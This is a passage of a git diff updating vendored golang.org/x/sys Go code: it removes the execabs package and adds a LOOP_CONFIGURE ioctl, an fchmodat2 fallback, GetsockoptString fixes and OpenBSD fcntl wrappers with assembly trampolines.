-// returns an exec.Cmd that will return an error from Start or Run.
-func Command(name string, arg ...string) *exec.Cmd {
- cmd := exec.Command(name, arg...)
- fixCmd(name, cmd)
- return cmd
-}
diff --git a/vendor/golang.org/x/sys/execabs/execabs_go118.go b/vendor/golang.org/x/sys/execabs/execabs_go118.go
deleted file mode 100644
index 5627d70e39..0000000000
--- a/vendor/golang.org/x/sys/execabs/execabs_go118.go
+++ /dev/null
@@ -1,17 +0,0 @@
-// Copyright 2022 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build !go1.19
-
-package execabs
-
-import "os/exec"
-
-func isGo119ErrDot(err error) bool {
- return false
-}
-
-func isGo119ErrFieldSet(cmd *exec.Cmd) bool {
- return false
-}
diff --git a/vendor/golang.org/x/sys/execabs/execabs_go119.go b/vendor/golang.org/x/sys/execabs/execabs_go119.go
deleted file mode 100644
index d60ab1b419..0000000000
--- a/vendor/golang.org/x/sys/execabs/execabs_go119.go
+++ /dev/null
@@ -1,20 +0,0 @@
-// Copyright 2022 The Go Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-//go:build go1.19
-
-package execabs
-
-import (
- "errors"
- "os/exec"
-)
-
-func isGo119ErrDot(err error) bool {
- return errors.Is(err, exec.ErrDot)
-}
-
-func isGo119ErrFieldSet(cmd *exec.Cmd) bool {
- return cmd.Err != nil
-}
diff --git a/vendor/golang.org/x/sys/unix/fcntl.go b/vendor/golang.org/x/sys/unix/fcntl.go
index 58c6bfc70f..6200876fb2 100644
--- a/vendor/golang.org/x/sys/unix/fcntl.go
+++ b/vendor/golang.org/x/sys/unix/fcntl.go
@@ -2,7 +2,7 @@
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
-//go:build dragonfly || freebsd || linux || netbsd || openbsd
+//go:build dragonfly || freebsd || linux || netbsd
package unix
diff --git a/vendor/golang.org/x/sys/unix/ioctl_linux.go b/vendor/golang.org/x/sys/unix/ioctl_linux.go
index 0d12c0851a..dbe680eab8 100644
--- a/vendor/golang.org/x/sys/unix/ioctl_linux.go
+++ b/vendor/golang.org/x/sys/unix/ioctl_linux.go
@@ -231,3 +231,8 @@ func IoctlLoopGetStatus64(fd int) (*LoopInfo64, error) {
func IoctlLoopSetStatus64(fd int, value *LoopInfo64) error {
return ioctlPtr(fd, LOOP_SET_STATUS64, unsafe.Pointer(value))
}
+
+// IoctlLoopConfigure configures all loop device parameters in a single step
+func IoctlLoopConfigure(fd int, value *LoopConfig) error {
+ return ioctlPtr(fd, LOOP_CONFIGURE, unsafe.Pointer(value))
+}
diff --git a/vendor/golang.org/x/sys/unix/mkerrors.sh b/vendor/golang.org/x/sys/unix/mkerrors.sh
index cbe24150a7..6202638bae 100644
--- a/vendor/golang.org/x/sys/unix/mkerrors.sh
+++ b/vendor/golang.org/x/sys/unix/mkerrors.sh
@@ -519,6 +519,7 @@ ccflags="$@"
$2 ~ /^LOCK_(SH|EX|NB|UN)$/ ||
$2 ~ /^LO_(KEY|NAME)_SIZE$/ ||
$2 ~ /^LOOP_(CLR|CTL|GET|SET)_/ ||
+ $2 == "LOOP_CONFIGURE" ||
$2 ~ /^(AF|SOCK|SO|SOL|IPPROTO|IP|IPV6|TCP|MCAST|EVFILT|NOTE|SHUT|PROT|MAP|MREMAP|MFD|T?PACKET|MSG|SCM|MCL|DT|MADV|PR|LOCAL|TCPOPT|UDP)_/ ||
$2 ~ /^NFC_(GENL|PROTO|COMM|RF|SE|DIRECTION|LLCP|SOCKPROTO)_/ ||
$2 ~ /^NFC_.*_(MAX)?SIZE$/ ||
@@ -560,7 +561,7 @@ ccflags="$@"
$2 ~ /^RLIMIT_(AS|CORE|CPU|DATA|FSIZE|LOCKS|MEMLOCK|MSGQUEUE|NICE|NOFILE|NPROC|RSS|RTPRIO|RTTIME|SIGPENDING|STACK)|RLIM_INFINITY/ ||
$2 ~ /^PRIO_(PROCESS|PGRP|USER)/ ||
$2 ~ /^CLONE_[A-Z_]+/ ||
- $2 !~ /^(BPF_TIMEVAL|BPF_FIB_LOOKUP_[A-Z]+)$/ &&
+ $2 !~ /^(BPF_TIMEVAL|BPF_FIB_LOOKUP_[A-Z]+|BPF_F_LINK)$/ &&
$2 ~ /^(BPF|DLT)_/ ||
$2 ~ /^AUDIT_/ ||
$2 ~ /^(CLOCK|TIMER)_/ ||
diff --git a/vendor/golang.org/x/sys/unix/syscall_bsd.go b/vendor/golang.org/x/sys/unix/syscall_bsd.go
index 6f328e3a55..a00c3e5450 100644
--- a/vendor/golang.org/x/sys/unix/syscall_bsd.go
+++ b/vendor/golang.org/x/sys/unix/syscall_bsd.go
@@ -316,7 +316,7 @@ func GetsockoptString(fd, level, opt int) (string, error) {
if err != nil {
return "", err
}
- return string(buf[:vallen-1]), nil
+ return ByteSliceToString(buf[:vallen]), nil
}
//sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)
diff --git a/vendor/golang.org/x/sys/unix/syscall_linux.go b/vendor/golang.org/x/sys/unix/syscall_linux.go
index a5e1c10e34..0f85e29e62 100644
--- a/vendor/golang.org/x/sys/unix/syscall_linux.go
+++ b/vendor/golang.org/x/sys/unix/syscall_linux.go
@@ -61,15 +61,23 @@ func FanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname string) (
}
//sys fchmodat(dirfd int, path string, mode uint32) (err error)
-
-func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- // Linux fchmodat doesn't support the flags parameter. Mimick glibc's behavior
- // and check the flags. Otherwise the mode would be applied to the symlink
- // destination which is not what the user expects.
- if flags&^AT_SYMLINK_NOFOLLOW != 0 {
- return EINVAL
- } else if flags&AT_SYMLINK_NOFOLLOW != 0 {
- return EOPNOTSUPP
+//sys fchmodat2(dirfd int, path string, mode uint32, flags int) (err error)
+
+func Fchmodat(dirfd int, path string, mode uint32, flags int) error {
+ // Linux fchmodat doesn't support the flags parameter, but fchmodat2 does.
+ // Try fchmodat2 if flags are specified.
+ if flags != 0 {
+ err := fchmodat2(dirfd, path, mode, flags)
+ if err == ENOSYS {
+ // fchmodat2 isn't available. If the flags are known to be valid,
+ // return EOPNOTSUPP to indicate that fchmodat doesn't support them.
+ if flags&^(AT_SYMLINK_NOFOLLOW|AT_EMPTY_PATH) != 0 {
+ return EINVAL
+ } else if flags&(AT_SYMLINK_NOFOLLOW|AT_EMPTY_PATH) != 0 {
+ return EOPNOTSUPP
+ }
+ }
+ return err
}
return fchmodat(dirfd, path, mode)
}
@@ -1302,7 +1310,7 @@ func GetsockoptString(fd, level, opt int) (string, error) {
return "", err
}
}
- return string(buf[:vallen-1]), nil
+ return ByteSliceToString(buf[:vallen]), nil
}
func GetsockoptTpacketStats(fd, level, opt int) (*TpacketStats, error) {
diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd.go b/vendor/golang.org/x/sys/unix/syscall_openbsd.go
index d2882ee04f..b25343c71a 100644
--- a/vendor/golang.org/x/sys/unix/syscall_openbsd.go
+++ b/vendor/golang.org/x/sys/unix/syscall_openbsd.go
@@ -166,6 +166,20 @@ func Getresgid() (rgid, egid, sgid int) {
//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
+//sys fcntl(fd int, cmd int, arg int) (n int, err error)
+//sys fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) = SYS_FCNTL
+
+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
+func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
+ return fcntl(int(fd), cmd, arg)
+}
+
+// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
+func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
+ _, err := fcntlPtr(int(fd), cmd, unsafe.Pointer(lk))
+ return err
+}
+
//sys ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error)
func Ppoll(fds []PollFd, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris.go b/vendor/golang.org/x/sys/unix/syscall_solaris.go
index 60c8142d49..21974af064 100644
--- a/vendor/golang.org/x/sys/unix/syscall_solaris.go
+++ b/vendor/golang.org/x/sys/unix/syscall_solaris.go
@@ -158,7 +158,7 @@ func GetsockoptString(fd, level, opt int) (string, error) {
if err != nil {
return "", err
}
- return string(buf[:vallen-1]), nil
+ return ByteSliceToString(buf[:vallen]), nil
}
const ImplementsGetwd = true
diff --git a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go
index d99d05f1bc..b473038c61 100644
--- a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go
+++ b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go
@@ -1104,7 +1104,7 @@ func GetsockoptString(fd, level, opt int) (string, error) {
return "", err
}
- return string(buf[:vallen-1]), nil
+ return ByteSliceToString(buf[:vallen]), nil
}
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux.go b/vendor/golang.org/x/sys/unix/zerrors_linux.go
index 9c00cbf512..c73cfe2f10 100644
--- a/vendor/golang.org/x/sys/unix/zerrors_linux.go
+++ b/vendor/golang.org/x/sys/unix/zerrors_linux.go
@@ -486,7 +486,6 @@ const (
BPF_F_ANY_ALIGNMENT = 0x2
BPF_F_BEFORE = 0x8
BPF_F_ID = 0x20
- BPF_F_LINK = 0x2000
BPF_F_NETFILTER_IP_DEFRAG = 0x1
BPF_F_QUERY_EFFECTIVE = 0x1
BPF_F_REPLACE = 0x4
@@ -1802,6 +1801,7 @@ const (
LOCK_SH = 0x1
LOCK_UN = 0x8
LOOP_CLR_FD = 0x4c01
+ LOOP_CONFIGURE = 0x4c0a
LOOP_CTL_ADD = 0x4c80
LOOP_CTL_GET_FREE = 0x4c82
LOOP_CTL_REMOVE = 0x4c81
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_linux.go b/vendor/golang.org/x/sys/unix/zsyscall_linux.go
index faca7a557b..1488d27128 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_linux.go
+++ b/vendor/golang.org/x/sys/unix/zsyscall_linux.go
@@ -37,6 +37,21 @@ func fchmodat(dirfd int, path string, mode uint32) (err error) {
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+func fchmodat2(dirfd int, path string, mode uint32, flags int) (err error) {
+ var _p0 *byte
+ _p0, err = BytePtrFromString(path)
+ if err != nil {
+ return
+ }
+ _, _, e1 := Syscall6(SYS_FCHMODAT2, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
func ioctl(fd int, req uint, arg uintptr) (err error) {
_, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
if e1 != 0 {
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
index 88bfc28857..a1d061597c 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go
@@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+func fcntl(fd int, cmd int, arg int) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+var libc_fcntl_trampoline_addr uintptr
+
+//go:cgo_import_dynamic libc_fcntl fcntl "libc.so"
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
+func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
n = int(r0)
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s
index 4cbeff171b..41b5617316 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.s
@@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0
GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $4
DATA ·libc_sysctl_trampoline_addr(SB)/4, $libc_sysctl_trampoline<>(SB)
+TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
+ JMP libc_fcntl(SB)
+GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $4
+DATA ·libc_fcntl_trampoline_addr(SB)/4, $libc_fcntl_trampoline<>(SB)
+
TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_ppoll(SB)
GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $4
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
index b8a67b99af..5b2a740977 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.go
@@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+func fcntl(fd int, cmd int, arg int) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+var libc_fcntl_trampoline_addr uintptr
+
+//go:cgo_import_dynamic libc_fcntl fcntl "libc.so"
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
+func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
n = int(r0)
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s
index 1123f27571..4019a656f6 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_amd64.s
@@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0
GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8
DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB)
+TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
+ JMP libc_fcntl(SB)
+GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8
+DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB)
+
TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_ppoll(SB)
GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
index af50a65c0c..f6eda1344a 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.go
@@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+func fcntl(fd int, cmd int, arg int) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+var libc_fcntl_trampoline_addr uintptr
+
+//go:cgo_import_dynamic libc_fcntl fcntl "libc.so"
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
+func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
n = int(r0)
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s
index 82badae39f..ac4af24f90 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm.s
@@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0
GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $4
DATA ·libc_sysctl_trampoline_addr(SB)/4, $libc_sysctl_trampoline<>(SB)
+TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
+ JMP libc_fcntl(SB)
+GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $4
+DATA ·libc_fcntl_trampoline_addr(SB)/4, $libc_fcntl_trampoline<>(SB)
+
TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_ppoll(SB)
GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $4
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
index 8fb4ff36a7..55df20ae9d 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go
@@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+func fcntl(fd int, cmd int, arg int) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+var libc_fcntl_trampoline_addr uintptr
+
+//go:cgo_import_dynamic libc_fcntl fcntl "libc.so"
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
+func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
n = int(r0)
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s
index 24d7eecb93..f77d532121 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.s
@@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0
GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8
DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB)
+TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
+ JMP libc_fcntl(SB)
+GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8
+DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB)
+
TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_ppoll(SB)
GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go
index f469a83ee6..8c1155cbc0 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.go
@@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+func fcntl(fd int, cmd int, arg int) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+var libc_fcntl_trampoline_addr uintptr
+
+//go:cgo_import_dynamic libc_fcntl fcntl "libc.so"
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
+func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
n = int(r0)
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s
index 9a498a0677..fae140b62c 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_mips64.s
@@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0
GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8
DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB)
+TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
+ JMP libc_fcntl(SB)
+GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8
+DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB)
+
TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_ppoll(SB)
GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go
index c26ca2e1aa..7cc80c58d9 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.go
@@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+func fcntl(fd int, cmd int, arg int) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+var libc_fcntl_trampoline_addr uintptr
+
+//go:cgo_import_dynamic libc_fcntl fcntl "libc.so"
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
+func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
n = int(r0)
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s
index 1f224aa416..9d1e0ff06d 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s
@@ -213,6 +213,12 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0
GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8
DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB)
+TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
+ CALL libc_fcntl(SB)
+ RET
+GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8
+DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB)
+
TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0
CALL libc_ppoll(SB)
RET
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go
index bcc920dd25..0688737f49 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go
@@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+func fcntl(fd int, cmd int, arg int) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+var libc_fcntl_trampoline_addr uintptr
+
+//go:cgo_import_dynamic libc_fcntl fcntl "libc.so"
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
+func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) {
+ r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg))
+ n = int(r0)
+ if e1 != 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
+
func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
n = int(r0)
diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s
index 87a79c7095..da115f9a4b 100644
--- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s
+++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s
@@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0
